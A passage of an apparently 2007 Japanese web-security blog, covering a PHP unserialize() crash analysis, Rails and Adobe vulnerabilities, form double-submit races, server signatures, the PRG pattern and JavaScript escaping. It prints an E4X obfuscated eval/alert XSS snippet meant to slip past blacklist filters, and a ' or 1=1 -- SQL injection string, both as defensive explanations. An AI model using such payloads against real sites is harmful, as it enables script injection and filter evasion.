$ gdb (...) (gdb) attach 12345 (gdb) continue(gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211611456 (LWP 9582)] 0x99887766 in ?? () (gdb) i r eip eip 0x99887766 0x99887766 (gdb) zbacktrace [0xbf845ac0] unserialize() /var/www/forum/includes/sessions.php:283 [0xbf84c560] session_pagestart() /var/www/forum/index.php:31 (gdb)
バックトレースとレジスタからPHPのunserializeが0x99887766 のコード実行を試みた事が分かります。0x99887766は攻撃者が設定したオフセットでこの例ではマップされていないメモリを指しています。このためクラッシュしています。しかし、もしシェルコードへのポインタが設定された場合、シェルコードを実行します。
■PoC、攻撃コードまたは再現手順
添付した攻撃コードはどのようにunserialize関数によって文字列をアンシリアライズする事によりインストラクションポインタを制御するかデモンストレーションしています。コードを実行させるにはシェルコードが必要とするオフセットを設定します。攻撃コードの文字列は、非常に長くクッキーに保存できない為、例示したphpBB2に対してそのままでは利用できません。
■備考
PHP 4.4.5はソースコードで65000リファレンスまでしか作れないunserialize関数になっており、既に脆弱性ではありません。PHPセキュリティレスポンスチームはこの重要なセキュリティフィックスが行われていた事を忘れていたようです。
しかしながら、もしPHPをいアップグレードできないのであれは、攻撃文字列が500KB以上必要であるため、SuhosinモジュールまたはWebアプリケーションファイアーウォールで防御可能です。
1 コメント
コメントを残す
Rails 1.2.6 リリース
リンク: http://weblog.rubyonrails.com/2007/11/24/ruby-on-rails-1-2-6-security-and-maintenance-release
1.2.4などで修正を試みたセキュリティ上の問題が完全ではなかったようです。
セッションIDの固定化が可能な脆弱性が(こんどは完全に?)修正されたようです。
The rails core team has released ruby on rails 1.2.6 to address a bug in the fix for session fixation attacks (CVE-2007-5380). The CVE Identifier for this new issue is CVE-2007-6077.
PHPの場合、Session Adoptionに脆弱(普通にアプリを作るとSession Fixationにも脆弱なる設定がついこの間までデフォルト...)ですがいつ直すつもりなんでしょう... パッチはあるのですけどね...
フィードバックはまだありません...
コメントを残す
ブログアプリを更新
ちょっと試してみたらb2evlution 2.1.0 betaでも結構まともに動作するようなので1.10.3から2.1.0 betaにしてみました。
B2Evolution
http://b2evolution.net/
前の設定ファイル
conf/_basic_conf.php
をコピーして、ロケールファイル
conf/_locales.php
にutf-8を設定し、インストール用スクリプトを実行しただけです。
# この環境は全ての文字エンコーディングをUTF-8に統一しています。
スキンの互換性は無いので作り直す必要があります。
あまりテストしていないので問題があるかも知れません。問題があったら教えてください。
追記:
メール送信には以前にあった問題があったのですが、仮想サーバ単位で設定していたmbstring.languageとmbstring.func_overload設定を削除するとUTF-8形式で正しくメール送信できるようになりました。これは前の環境でも同じ設定を行うとメール送信に問題がなくなるのかも知れません。
RSSのURLが変わったような気がします。Atom, RSS1でRSSで購読されている方はURLを変更してください。
リンクが正しく表示されない状態をかなり長く放置していたのですがバージョンアップで直ったようです。日本語テキスト中のWikiへのリンクなども正しく表示できるようです。
ちなみにこの環境は
- Apache 2.0.61
- PHP 5.2.5
です。
前のバージョンのb2evolutionはあまりお勧めできるものでは無かったですが、2.1.0は日本語環境でもかなりそのまま使えるような感じです。
フィードバックはまだありません...
コメントを残す
Webアプリスキャナの性能
リンク: http://ha.ckers.org/blog/20071014/web-application-scanning-depth-statistics/
NTOSpider, AppScan, WebInspectとメジャーなWebアプリスキャナの性能を比較した方がいるようです。結果のPDFは以下のURLです。
http://ha.ckers.org/files/CoverageOfWebAppScanners.pdf
Forty Tracerを使ってスキャン中のコード実行カバレッジを利用してアプリケーションスキャナの性能を評価しています。
結論はNTOSpiderがダントツの性能のようです。AppScan、WebInspectは同じ程度となったようです。いずれにせよWebアプリスキャナは「セキュリティを維持」する為のツールではなく「最低限のセキュリティが維持できているかチェック」する為のツールなので多少の性能差ならそれほど気にする必要はないでしょう。しかし、多少と言える性能差ではないのでIBMとHPには頑張ってもらいたい所です。
J2EEアプリが対象との事ですが脆弱性だらけ(NTOSpiderは200以上の脆弱性を見つけている)と判定されたOpenCMSとはどれの事なのでしょうね?
なのは確かだと思いますが、どのバージョンを使ったか書いていないようです。
ちなみにSecuniaのデータベースだとOpenCMSにはそれほど脆弱性が登録されていません。
http://secunia.com/product/6531/?task=advisories
単純に誰もセキュリティチェックしていないだけなのかも知れません。Javaアプリなので個人が気軽にCMS、といった形でなく企業が使っている可能性が高いと思われます。使っている方は念のために自分でチェックした方が良いかも知れません。
# JSPWikiといい、Javaベースのアプリにも問題が多い予感がします。
フィードバックはまだありません...
コメントを残す
Thuderbird 2.0.0.8は何時リリースされる?
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5340
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5339
によるとThunderbird 2.0.0.8でDoS脆弱性が修正される、とされています。もうリリースされているのかな?
と思って
http://www.mozilla.com/en-US/thunderbird/
を見たのですがまだのようです。
DoSなので緊急性は低いはずです。Thunderbirdプロジェクトは独立するとさらにメンテナンス状態が悪くならないか心配です。OSXのMailにでも移行しようか、とも思いますがこれも今ひとつ信用できません。しばらくは様子見です。
フィードバックはまだありません...
コメントを残す
RoR CVE
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5380
Session fixation vulnerability in Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers to hijack web sessions via unspecified vectors related to "URL-based sessions."
これはお馴染みの問題です。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5379
Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers and ActiveResource servers to determine the existence of arbitrary files and read arbitrary XML files via the Hash.from_xml (Hash#from_xml) method, which uses XmlSimple (XML::Simple) unsafely, as demonstrated by reading passwords from the Pidgin (Gaim) .purple/accounts.xml file.
これもよくある問題です。
RoRには幾つか脆弱性が報告されているので少なくとも1.2.4にはバージョンアップした方が良いです。
フィードバックはまだありません...
コメントを残す
Adobe Reader/Acrobatのパッチ公開
PCを乗っ取れる脆弱性がある、とされていたAdobe Reader/Acrobatですがパッチがリリースされた模様です。
Adobe Acrobat
http://www.adobe.com/support/downloads/product.jsp?product=1&platform=Windows
Adobe Reader
http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows
• Close a potential security vulnerability on Windows® XP computers that have Internet Explorer 7 installed (CVE-2007-5020); see the Adobe Security Bulletin (APSB07-18) concerning this issue
• Address several PDF forms-related issues
• Provide additional stability
APSB07-18
Critical vulnerabilities have been identified in Adobe Reader and Acrobat that could allow an attacker who successfully exploits these vulnerabilities to take control of the affected system. This issue only affects customers on Windows XP with Internet Explorer 7 installed. A malicious file must be loaded in Adobe Reader or Acrobat by the end user for an attacker to exploit these vulnerabilities. It is recommended that affected users update to Adobe Reader 8.1.1 or Acrobat 8.1.1. This is an update to resolve the issue previously reported in Security Advisory APSA07-04.
重要な箇所はWindows XPでIE7を利用しているシステムのみ影響するとしている部分です。VistaユーザやXP+IE6なら影響ないとされています。
# RedHatによるとRHELなどのLinux環境にも影響が無いとされています。
CVSS2.0のスコアを見てわかるように非常に危険なセキュリティ上の問題とされています。
CVE-2007-5020
CVSS Severity (version 2.0):
CVSS v2 Base score: 9.3 (High) (AV:N/AC:M/Au:N/C:C/I:C/A:C) (legend)
Impact Subscore: 10.0
Exploitability Subscore: 8.6
とりあえずハンドラの問題を回避する方法は
http://isc.sans.org/diary.html?storyid=3477
既知の問題が全部直っているのかな?と思ったら根本的な原因は以下
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3896
にあるような感じです。
ところでRealPlayerをインストールしている方は少ないと思いますが、0day攻撃されているようです。ほとんど必要ない物なのでアンインストールしておきましょう。
追記:
ZDNetによるとこの脆弱性を利用しWindowsファイアーウォールを無効にする攻撃がSymantecにより観測されている、と記載されていました。パッチが必要なシステムは早めにパッチを適用した方が良いと思います。
フィードバックはまだありません...
コメントを残す
フォームの2重送信の防止...
リンク: http://itpro.nikkeibp.co.jp/article/COLUMN/20070910/281585/?ST=oss
ちょっと気になったので...
記事はコラム形式だったので書いていないだけだと思いますが2つ問題があります。
1. 識別可能なフォームの数に限りがある
セッション変数を利用しているため変数名でフォームを識別する必要があり、ユーザが複数のフォームを利用した場合、正しく動作しない。この制限をなくす事もできますが、その場合セッション変数が大きくなりすぎた状態に対処するようにしないとならくなります。(ガーベッジコレクションの実装が必要)
2. レースコンディションによる2重投稿の可能性がある
コードを見て分かる通り
if (isset($_POST['submit_button'], $_SESSION['ticket'], $_POST['ticket']) && $_SESSION['ticket'] === $_POST['ticket']) {
unset($_SESSION['ticket']);
セッション変数の状態チェックと状態の変更がアトミックに行えないため、稀なケースとは言えますが、レースコンディションにより2重送信の可能性があります。
この様な変数の状態の確認と変更はアトミックな処理が必要になります。
Webサーバが一つならセマフォを使えますが、複数のWebサーバを利用する場合、トランザクションをサポートしたDBサーバを利用します。(APサーバ間でトランザクション、と言う方法もありますがDBサーバを利用した方がスケーラブルです)
私のPHPの本、セキュリティの本でもこの方法を2重送信・CSRF対策として紹介しています。
フィードバックはまだありません...
コメントを残す
サーバシグニチャは隠さないのが当たり前
リンク: http://labs.cybozu.co.jp/blog/kazuho/archives/2007/09/re_server_sig.php
yohgaki's blog - サーバシグニチャは隠すのが当たり前
http://blog.ohgaki.net/index.php/yohgaki/2007/09/04/a_ma_fa_a_ma_da_a_a_pa_me_na_a_ra_af_a_a
に対するコメントを見つけました。このブログに対するご意見は探したことがないので、たまたま見つけたこのブログが初めてくらいだと思います。「サーバシグニチャは隠さないのが当たり前」とするご意見です。
なぜサーバのバージョン情報を公開する必要があるのか。それは、クライアント側で、サーバのバグや規格解釈の相違に起因する問題を回避するためです。
「当たり前」とするには理由が弱いと思います。サーバ側はサービス提供者が自由にコントロールできる要素です。サーバがオプションとして送信する特定のヘッダを送信しようとしまいと正しく処理できるようにするのはブラウザの責任です。最悪の場合、サーバは攻撃用のヘッダを送信してくるかも知れません。サーバシグニチャが100KBもあるヘッダなどが送信されても問題が発生しないようにするのはブラウザ側の責任であるのと同じです。
クライアント側で「サーバのバグや規格解釈の相違に起因する問題を回避」している場合があるは知っていまたが決定的と言える問題ではありません。Pipelineは使えないと多少効率が落ちるだけです。(サーバ側では別にPipelineをサポートしないからといって、負荷が軽減するものでもありません。)Pipelining以前に、より多くのクライアントに安全にデータを送信するためにKeepAliveさえ無効に設定しているサイトもまだまだ多いでしょう。(i.e. HTTP Response Splitting) Pipeliningは一例かと思いますが、これを持って「サーバシグニチャは隠さないのが当たり前」とするには不十分だと思います。もしかすると私が知らない決定的な問題があるのかも知れませんが、その場合は教えていただけると有難いです。
クライアント側がユーザエージェントヘッダを「送信するのが普通」だと思いますが、送るのが「当たり前」だとは思いません。それはユーザの自由です。同じように「JavaScriptを無効」にするのもユーザの自由です。「最近JavaScriptが有効なのが当たり前」なサイトが増えていますが、全てのWebサイト開発者はWCAGをよく読むべきです。WCAGはJIS規格にも採用されています。ユーザビリティだけの問題でなく、より安全にWebを利用するためにJavaScriptを無効にするのはずいぶん当たり前になりつつあります。
画像を表示できないテキストブラウザでWebサイトを参照するのも自由で有るべきです。文字を表意しない音声ブラウザでWebサイトを参照するのも自由で有るべきです。たとえ十分に利用できない可能性があっても「あなたのブラウザでは参照できません」と門前払いをすべきではありません。
とにかく、サーバシグニチャを隠すのも、インストールされている全てのモジュールのバージョンまで含めて隠さないのもサーバ管理者の「自由」です。
http://memo.hirosiki.jp/article/54026897.html
結論:
サーバシグニチャを出さないことでは確かにウノウの言うようなセキュリティレベルの向上は“それほどは”得られないが、だからといって出さないことがクソだのタコだの言うのはバカ。
多少言葉は悪いですが、両方の意見に対してかかれたこのブログのメリット・デメリット、結論は理解できます。
サーバシグニチャに詳しいサーババージョンを書かないのはセキュリティレベルを向上させると言うよりは「犯罪者のデータベース作成に協力しない」ことが私としては1番目の目的です。この対策は役に立たないかも知れませんが、役に立つかも知れない、といった対策です。採用するかしないかは管理者(またはセキュリティポリシー)次第です。攻撃され辛くする対策は根本的なセキュリティ対策とは言えないかもしれませんが、多くの場合それで十分である事も事実です。例えば、家の玄関ドアの鍵を2つにする、割れにくい窓ガラスにする、などは泥棒(攻撃)対策に有用であるとされています。完璧なセキュリティ対策でなくても十分有効に機能する例は多くあります。
ちょっと脱線します。UserAgentを参照し、IE, Fireforxの各バージョンの脆弱性に合わせた攻撃を行い、脆弱性がないUserAngetの場合攻撃を行わないWebサイトも実存します。ブラウザのUserAgentを送信しない、または正しいUserAgentを送信しないのは普通とは言えませんが、実際にこうした攻撃が有る以上、「送信するのが当たり前でしないのはNG」とするのは問題があると思います。余計(?)なヘッダ情報は実際に攻撃に利用されているのです。
クライアント(ブラウザ)を作る人、Webアプリを作る人、はそれぞれサーバ、クライアントには「十分な自由度」があるように作らなければならないと考えています。
「うちのサイトはIEのみでVBScriptが有効なブラウザしか使えない仕様」にするのもサイト運営側の自由です。万人向けでは無いサイトを作るのも自由ですが、広く一般に公開しているサイトであるにも関わらず万人向けサイトではない無い場合、そのことを明記するべきです。特に責任ある企業のサイトなら尚更です。
話を戻しますが、Webサーバとモジュールの安全性に100%の自信があれば詳しいサーバ構成を記述したヘッダを送信することに異論はありません。 安全性に不安を持っている(100%の信頼を持っていない)システム管理者であれば「(特に懇切丁寧な)サーバシグニチャは送信しないのは当たり前」だと思っているだけです。私のブログからも分かるように私の立場は「100%信用していないのでシグニチャは隠すのが当たり前」と考えています。
最近は攻撃の高度化、ステルス化が進んでいます。昔のように手当たり次第で直ぐ分かるような攻撃は少なくなり、システム管理者が気が付かない方法で攻撃してきます。仮に自分が犯罪者でWebサーバやそのモジュールの脆弱性を利用して乗っ取れる0Day攻撃手法を発見した場合、手当たり次第に攻撃するのではなく、できるだけサーバ管理者に気づかれないように細心の注意を払って攻撃します。その攻撃に利用する重要な情報の一つがサーバシグニチャです。サーバを乗っ取った後、カーネルレベルルートキットをインストールするためにフィンがープリンティングでサーバが利用しているOSとそのバージョンも調べるでしょう。カーネルレベルルートキットをインストールすれば、ルートキットのファイル・プロセス・ネットワーク接続が参照できなくなるのでIDS/IPSをゲートウェイなどにインストールしていなければ検知するのは極めて困難になります。水際で攻撃を防止する重要性はますます増加しています。
ほとんど全てのセキュリティ対策にはメリットとデメリットがあります。セキュリティポリシーはそのバランスをどこに設定するのか決めるものです。便利なシステムを利用している以上、リスクは受け入れなければなりません。どのリスクを受け入れ、どのリスクを軽減し、どのリスクを排除するかはセキュリティポリシーで決めます。
# 正しくリスクを識別すること(リスクアセスメント)がセキュリティ対策
# では非常に重要です。リスクを識別できなければ、組織やサービスが必要
# としているセキュリティポリシーは策定できません。
# Pipelineとかは本来はプロトコルバージョンで判別できれば良い機能だと
# 考えています。現実的にはHTTP/1.1.1とかすると誤作動するソフトウェアが
# 山ほど有るので無理ですが。サーバソフトの種別で判別するべき機能ではあ
# りません。時間が解決するのでそれまでpipelineは使わなければ良いだけの
# 機能です。ブラウザにはそういった機能は山ほどあります。E4X、CSS、DOM
# とか。
# そういえば最近Citrixのおかげで筒抜けになっているサイトが多数ある、と
# 話題になっていましたね。別問題と言われるかもしれませんが、べつにどう
# でもよいサーバシグニチャを隠すくらいの気遣いをする管理者であれば、
# こんな間違いは起きなかった可能性が高かったのではないか、と思っています。
#「JavaScriptを有効にしておくくらい当たり前」とユーザに強制するのであれ
# ば「100%安全なWebサイトを提供するのが当たり前」と言われても仕方ありま
# せん。100%安全性は絶対に保証できないので「どのようなクライアントでアク
# セスしても、必要最小限はナビゲーションできて当たり前」と考えています。
# 少なくとも「このサイトはJavaScriptを利用しているのでJavaScriptを有効
# にしてください」とメッセージを表示すべきです。noscriptタグを入れるの
# が面倒だとは思えません。
「あたり前」論には少なからず主観が含まれます。「あたり前」とか「常識」は主観無しにはあり得ないからです。従って、一つの「あたり前」には反対の「あたり前」もあります。どれを「あたり前」とするか、もしくはしようとするかは個人のセンスだと思います。
書かない日記のはずがつい書きすぎてしまいました。書きたい事は山ほどある
のですが、今日はこの辺で。
フィードバックはまだありません...
コメントを残す
PRGパターンって不必要...
リンク: http://www.theserverside.com/patterns/thread.tss?thread_id=20936
PRGパターンって不必要...というより有害な気がします。
追記/訂正:
普通に実装するとこの後に書いている問題は発生しないので、別の実装が「戻る」ボタンで戻れない原因の様です。落ち着いて考えてみれば普通にリダイレクトすれば302でブラウザに返すので前のページまで戻ります。態々別のリダイレクトをしているPRGパターンが有害と言う事なのかも知れません。今度戻れないページにあったら調べてブログに書きます。(あまり突くと攻撃と見なされるかもしれないので問題ですけど... 役に立つ対策ではないですがもしかすると重複ポスト対策なのかも知れません。不特定多数向けアンケートなどだと安直にリダイレクトで制限だけしてOKとしているのかも知れません。幾つかのパターンがありそうなので調べてみる価値はありそうです)私はデータのやり取りが増え、かつGETを利用することにより汎用性が劣るこの方法でなく普通(?)に内部で処理をルーティングしています。この方法でStrutsでMVCを奇麗に書くと言うのも理解できない事は無いです。微妙な気がしますが、少なくとも普通のPRGパターンは有害、とまでは言えないです。
フォームをポストしてリダイレクトさせ、結果をGETで取得させるのでPRGパターンだそうです。
* First a user-filled form is sent to the server using either POST or GET method. Server stores the information, updates the database and business model data, and replies with REDIRECT response for a View page.
* Browser loads View using GET, no user data is sent to the server at this point.
「え?」と思わせる実装に出会う事があります。PRGパターンもその一つです。ざっと斜めよみなので勘違いしているかもしれないですが。
はっきり言って不親切な実装だと思います。リロードしたら「送信済みです」と表示され、「戻る」で普通に前のページに戻れる方が直感的でわかりやすくユーザビリティが高いと言えると思います。戻るやページのリロードでデータの再送信が行われないようにする事が目的らしいですが、別の方法でごく普通にこのように動作させることが出来ます。重複送信問題もなくCSRFを気にする必要もない実装で可能です。
# 2003年の記事なので割り引いて考えても優れた方式とは言えません。
# 私は2000年の頃からフォームに予測不能な一意なIDを付ける実装を
# 行っています。]
# そもそもリンク先のページでは、重複とかCSRFの事を書いていない
# のでそれば別に対処(or 全く考慮してない)と言うことだと思いま
# す。MVCが綺麗に書けるより、ユーザが使いやすい方が重要だと思い
# ます。
PRGパターンを利用していると思われるWebサイトで「戻る」で戻れなくてフラストレーションが溜まった経験があるのは私だけとは思えません。「戻る」を連続クリックしたり、ヒストリーからしか前の方のページに戻れないサイトが多いのもこの「PRGパターン」のせいなのかな?
7 コメント
「戻るボタンで戻れなくなる」ってことがどういうことを意味するのかよくわかりませんが、IEで有効期限切れになることならそれこそPRGで解決できることです。
URLをユニークにするとかほかにも解決方法はあるみたいですが、自分はそっちのほうが気持ち悪いと思うけど。
ページの有効期限とは関係ないです。
元記事のもう少し先を読むと
What about back button? This works too, it returns us one step backwards, to the page with a form. This form can be refreshed as well. If it was obtained using GET, then user would not see warning message.
Page refresh works perfectly with redirection. We have to do the roundtrip to the browser, but one more second spent for redirection means little for interactive applications.
と書いてありますね。
POST後に「HTTPリダイレクト」して結果ページを出力するページで「戻る」ボタンで戻れないページを結構よく見かける(特にJavaの場合に多い気が)ので気になっていますが「間違ったPRGパターンの実装」と考えよい、と言う事?
このPRGパターンという名前の方法(実はいままで名前を知らなかった)は「戻れない」ページを作ってしまう(それとGET制限のため汎用性に欠く)と思っていたので使った事がなかったのですが「戻れない」ページを作るパターンがPRGパターンという訳ではないのですね。
1.はてなブックマークのコメント変更
2.wikipediaでの変更
3.pukiwikiでの変更
4.このブログのコメント投稿(なぜか302でなくて303ですが)
すべてPRGパターンが使われています。いずれもJavaで実装されているわけではありません。おそらくPRGパターンが使われていないのを探すほうが難しいんじゃないでしょうか。
これだけ使われているのは、PRGパターンを使う理由がそれなりにあるからです。
>戻るやページのリロードでデータの再送信が行われないようにする事が目的らしいですが、別の方法でごく普通にこのように動作させることが出来ます。
とありますが、具体的にはどのようにするのでしょうか?フォームに予測不能な一意なIDを付けるだけでは2回目の送信を無視することはできても、送信自体をしないようにすることはできないと思うのですが(再送信するかどうかダイアログで聞いてきますよね)。たとえサーバ側で2重送信対策をしていたとしても、ユーザにはそれはわからないわけなので、このようなダイアログが出てくること自体ユーザビリティの観点から問題だと思うのですが。
多分一般的なPRGパターンの実装でないタイプを.jspで見かけている(というか気づく事が多い)からだと思います。別にJavaでなくても実装できること分かっています。私が「戻れないのはけしからん」と不満に思っているののは何かおかしなリダイレクトヘッダを送信しているか他のチェック(多重送信チェックとか?)が原因でしょうね。
> このようなダイアログが出てくること自体ユーザビリティの観点から問題だと思うのですが。
プロキシなどにキャッシュされると困るのでプロキシにはキャッシュさせず、キャッシュ制御ヘッダの調整で出したしり、出さなくしたりできます。
それから、REDIRECTでGETに戻すとき「送信しました」だけなら良いですが送信した内容を全部表示する場合、大きなテキストだと困る事があります。ブラウザの仕様よりWAFの仕様の方が厳しい場合も多いです。
探せばいくらでもPRGパターンの実装はありそうですね。参考になります。本文では有害でないかもと追記しましたが、例示された実装例をみるとやはり有害かもと思えてきました。時間が無限にあれば調べたいところですが....
# 最初は別の意味で無用な制限を付ける実装と勘違いしましたが、
# 今回は脆弱な実装を助長しかねないかも、と言う意味で有害かも
# しれないと思えてきました。セキュリティ以外にも突っ込み所は
# あります。データフロー、メッセージの表示など。分かって使っ
# ているとは思いますけど。
コメント頂けると自分の勘違いや問題も整理できるので助かります。
そのうち「やっぱりPRGパターンは有害かも...」と書く事になるかも知れませんね。
ところでPRGパターンを使った場合、RFC2616によるとHTTPステータスは303の方が正しいようです。HTTP 1.0しか理解しないクライアントは誤作動する可能性もあります。302でも動作には問題ないので302を使っても間違いとは言えないようです。キャッシュ効率が落ちるのみです。
これはすごい。もしPRGパターン自体に脆弱性があればたいへんなことになりそうです。ほとんどのWebアプリは全滅じゃないでしょうか。はてなもwikipediaもpukiwikiもこのブログもだめなぐらいですもんね。
>プロキシなどにキャッシュされると困るのでプロキシにはキャッシュさせず、キャッシュ制御ヘッダの調整で出したしり、出さなくしたりできます。
これ大変興味があります。どうすればよいかぜひ教えてもらえないでしょうか。URLのみでも結構です。
自分もだいぶ試してみたのですができませんでした。
言語というかフレームワーク依存ですが、Ruby on RailsやCatalystではこのような用途に使えるflashという仕組みがあります(とは言ってもPRGのための機能ではなさそうですが)
flashを使えばセッションと同じようにリクエストをまたいでデータを保存しておくことができますが、1回読み出すと(読み出し関係なく次のリクエストだったかも)自動的に消えるので、POSTで行った修正に関する情報をflashに入れておいて、リダイレクト先でそこから読み取って画面をレンダリングするという方法が一般的ではないかと思います。
が、こういうflashの使い方自体、若干バッドノウハウな気もしますが。
とりあず、ここだけ。
RPGパターン自体に脆弱性は無いです。
あまり考えずにこのパターン使ってアプリを作るとCSRFに脆弱なサイトを作っていまい易い、と思っています。
フォーム処理は別のエントリを書いた方が良いかなと思います。
> が、こういうflashの使い方自体、若干バッドノウハウな気もしますが。
なるほど。参考になります。バッドノウハウな気配がかなりしますね。
コメントを残す
いろいろ変わったXSSがありますが...
私が知らなかっただけかもしれませんが、これにはかなり驚きました。いろんな所で問題が指摘されていますが、ECMAScriptにXML機能を追加したのはどうなんでしょうね.... 確かにかなり便利なのですが以下のコードでスクリプトが実行されることはほとんど知られていないでしょうね。
<script>
123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);
</script>
好むと好まざる関係なくFirefox 1.5から使えるのでWeb開発者は知っておかなればならないです。
日本語訳
http://www.ne.jp/asahi/nanto/moon/specs/ecma-357.html
原文
http://www.ecma-international.org/publications/standards/Ecma-357.htm
しかし、E4Xのアッタクベクタは色々ありそうですね。
4 コメント
XSSで重要なのはHTMLにユーザが入力したデータを表示するときにエスケープしていないとスクリプトを記述できてしまうということだと思いますが、この例だとユーザの入力がScriptタグの間に表示されないといけないわけで、その状態ではXSSも何もないと思うのですが。
それとも、これをどうにかすればエスケープをちゃんとしてても、Scriptが実行できてしまうのでしょうか?
まず前提条件ですが、すべて正しくエスケープしていればスクリプトが実行されないのは当然予想される結果です。SQLインジェクションと一緒で, 「' or 1=1 --」で攻撃可能になりますと解説して「エスケープすればできない」と言われれば「はい、その通りです」となるのと同じです。
割と普通にエスケープすれば動作しないとは思いますが、ブラックリストに頼っているような実装(もともとブラックリストに頼る事自体問題ですが)だと実装によってはスクリプトが実行できてしまう場合もあるかも、と思っています。
一番安直な例としては
var v = "$SOME_VAR_FORM_USER";
// do sanitize here
docuemnt.write(v);
と言ったコードでしょうね。document.writeを使っている時点で、ちょっとそれは.... と言うことでになります。はっきり言って私もinnerHtmlとかで使えるような場面があるのは分かりません。無いだろうとは思っていますが脆弱性は組み合わせて使うと思ってもいない効果を生む場合があります。E4Xで面白い形式の文字列でJavaScriptが動作する事を知っておくのは必要だと思います。
試されていないようですが上記のJavaScriptを含む文字列はscriptタグで囲まなくても実行できます。少なくともイベントハンドラやjavascript:では動作します。多分、expressionでも動作するでしょう。つまり、もしE4Xを除けば完璧なブラックリストであったとしてもE4Xサポートを悪用した攻撃なら通過する可能性がある、と考えられます。
また攻撃手法の一つにIPS/WAF「フィルタのすり抜け」があります。上記の文字列は様々なパターンのフィルタのすり抜けの可能性を示しています。IPS/WAFはブラックリスト型のセキュリティ対策なので当たり前といえばその通りですが、セキュリティ上の問題として考察に値すると考えています。
正直、安全性の確認が面倒過ぎするのでユーザ入力を含むJavaScriptの生成はお勧めしない、というのが現在のスタンスです。
実際のところFirefoxのE4X実装だけでもどうすればスクリプトの実行が可能なのかさえ全部できっていないと思っています。# どうなんでしょうね。
今のJavaScript実装でさえ検証するのは十分面倒なのに、複数ブラウザのE4X実装の検証などは想像しただけでも面倒です... 少なくとも私は積極的に検証しません。検証している方の情報収集するのがほとんどだと思います。検証もせず、情報収集もせず、厳しい入力の検証も行わず、ダイナミックにJavaScriptを生成すると痛い目に遭う確率が高くなると思います。
とりあえずこのエントリは「JavaScirptのXMLサポートには注意が必要である」事を伝えるのが目的です。
# 大抵のおかしな文字列でJavaScriptが実行できるケースには
# 驚かなくなりましたが、この例には正直驚いたのて驚きを共有
# できればと考えたので書きました。
コメント欄ついていえば、IPS/WAFのすりぬけだけであればE4Xまで持ち出す必要はないかと思います。
JavaScriptの動的生成は危険という結論には同意です。
確かに全てのパターンを定義できるわけが無く、あまりにも変な文字列でスクリプトが実行できてしまうケースが多いのでXMLを使うまでもないですよね :)
コメントを残す
防空システムをハッキングか
リンク: http://wiredvision.jp/news/200710/2007101020.html
敵国の通信ネットワークに侵入して敵軍のセンサーが見ているものを見ることができるほか、システム管理者を偽装してシステムを乗っ取り、センサーを操作して、接近する航空機の姿を見られないようにすることができるという。
敵側の送信機の位置を正確に突き止め、偽ターゲットや、虚偽のメッセージ・アルゴリズムをシステムに流し込んで、システム制御をはじめとするさまざまな活動を可能にすることも可能だ。
そんなに簡単に制御できてしまう物なのか?と思ってしまいますが。ネタとして。
フィードバックはまだありません...
コメントを残す
JavaScript文字列のエスケープ
hoshikuzuさんのページに書いてあるJavaScript文字列のエスケープ方法です。(元ネタのメールアーカイブは文字が欠落)
http://d.hatena.ne.jp/hoshikuzu/20071011#p1
1. 「¥」を「¥¥」に置換する
2. 「"」を「¥"」に置換する
3. 「'」を「¥'」に置換する
4. 「/」を「¥/」に置換する
5. 「<」を「x3c」に置換する
6. 「>」を「x3e」に置換する
7. 「0x0D(CR)」を「¥r」に置換する
8. 「0x0A(LF)」を「¥n」に置換する
SmartyのJavaScirpt文字列のエスケープ方法です。
CVS版:2007/10/12
case 'javascript':
// escape quotes and backslashes, newlines, etc.
return strtr($string, array('\\'=>'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n','</'=>'<\/'));
strtrで置換しているので元々文字エンコーディング攻撃に脆弱ですが、クローズタグだけ考慮している部分、/、<、>の取扱いが異なります。<, >はHEXで表記した方が安全ですね。
文字エンコーディングの問題は随分前から気づいていましたが、この手の修正は受け入れられる可能性が低いですからね...(文字エンコーディングが壊れていなければほとんどの文字エンコーディングで大丈夫なはず。例外はSJISかな)いずれにせよJavaScriptをダイナミックに生成するのはお勧めしません...
JavaScriptはクライアントサイドなので、確実かつ安全なエスケープ方法、は簡単ではありませんから。
1 コメント
コメントを残す
IEの脆弱性
リンク: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3896
CVE-2007-3896は例のIEのバグでなくて呼び出し側のFirefoxの問題云々の件です。
The URL handling in Windows XP and Windows Server 2003, with Windows Internet Explorer 7 installed, allows remote attackers to execute arbitrary programs via invalid "%" sequences in a mailto: or other URI handler, as demonstrated using mIRC, Outlook, Firefox, Adobe, Skype, and other applications. NOTE: this issue might be related to other involving URL handlers in Windows systems, such as CVE-2007-3845.
結局、mIRC、Outlook(これ以外のMS製品もあったはず)、Firefox、Adobe(Readerの事だと思います)、Skypeなどあまりにも多いのでIEの脆弱性にしてしまおう、と言うことなのだと思います。
基本的には呼び出し側が問題なく動作するデータを送るようにするべき、つまりIEの脆弱性でなく他のアプリの問題である可能性が高いと思います。(確信するにはリサーチが必要)
Cとバッファオーバーフローの関係と似ていると思います。余計分かり辛い??
基本的にはデータのセキュリティ対策の責任はCalleeでなく、Callerにある。SQLにヘンな文字列が入っていてSQLインジェクションされないようにする対策はDBサーバ(Callee)でなく、プログラム(Caller)にあるのと同じ事だと思います。
ただし、DBサーバ側(Callee)でも簡単に不正なデータであることがチェックできるような入力(例えば、壊れた文字エンコーディング)であっても処理してしまうと問題の責任はCalleeにあります。
どっちなんでしょうね。
2 コメント
コメントを残す
MomongaLinux4でCanon iP7500を使う
Canon iP7500をMomongaLinuxから利用するには
http://www.canon-sales.co.jp/drv-upd/bj/bjlinux260.html
に掲載されているフィルタをインストールしてCUPSのプリンタ設定ページからドライバを選択すれば利用できるようになります。
バイナリrpmを入れても良いのですが、以前にうまく動作しなかった事があるのでSRPMからインストールすることにします。
